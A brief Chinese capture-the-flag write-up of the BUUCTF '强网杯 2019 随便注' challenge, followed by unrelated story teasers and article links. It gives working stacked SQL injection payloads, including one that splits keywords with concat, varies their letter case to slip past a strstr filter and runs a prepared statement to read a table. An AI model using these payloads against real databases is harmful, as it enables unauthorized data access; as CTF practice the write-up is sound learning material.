首先尝试了直接无过滤提取数据数据库,发现失败了(select等关键词被过滤)
查看了别人的题解发现这题支持多语句执行(以后要注意多语句)
使用payload:0';show tables;#成功获取表名
使用payload:0';set @sql=cOncat('sel','ect * frOm `1919810931114514`');pRepare presql fRom @sql;eXecute presql;deAllocate prEpare presql;#成功得到flag(关键词大小写是为了避过strstr的关键词过滤)
2019-09-15 BUUCTF [强网杯 2019]随便注 1 WriteUp
©著作权归作者所有,转载或内容合作请联系作者
- 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
- 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
- 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
推荐阅读更多精彩内容
- 【优化】COUNT(1)、COUNT(*)、COUNT(常量)、COUNT(主键)、COUNT(ROWID)、CO...
- 知识点:SQL注入-堆叠注入,sql预处理语句,巧用contact()函数绕过 堆叠注入原理: 在SQL中,分号(...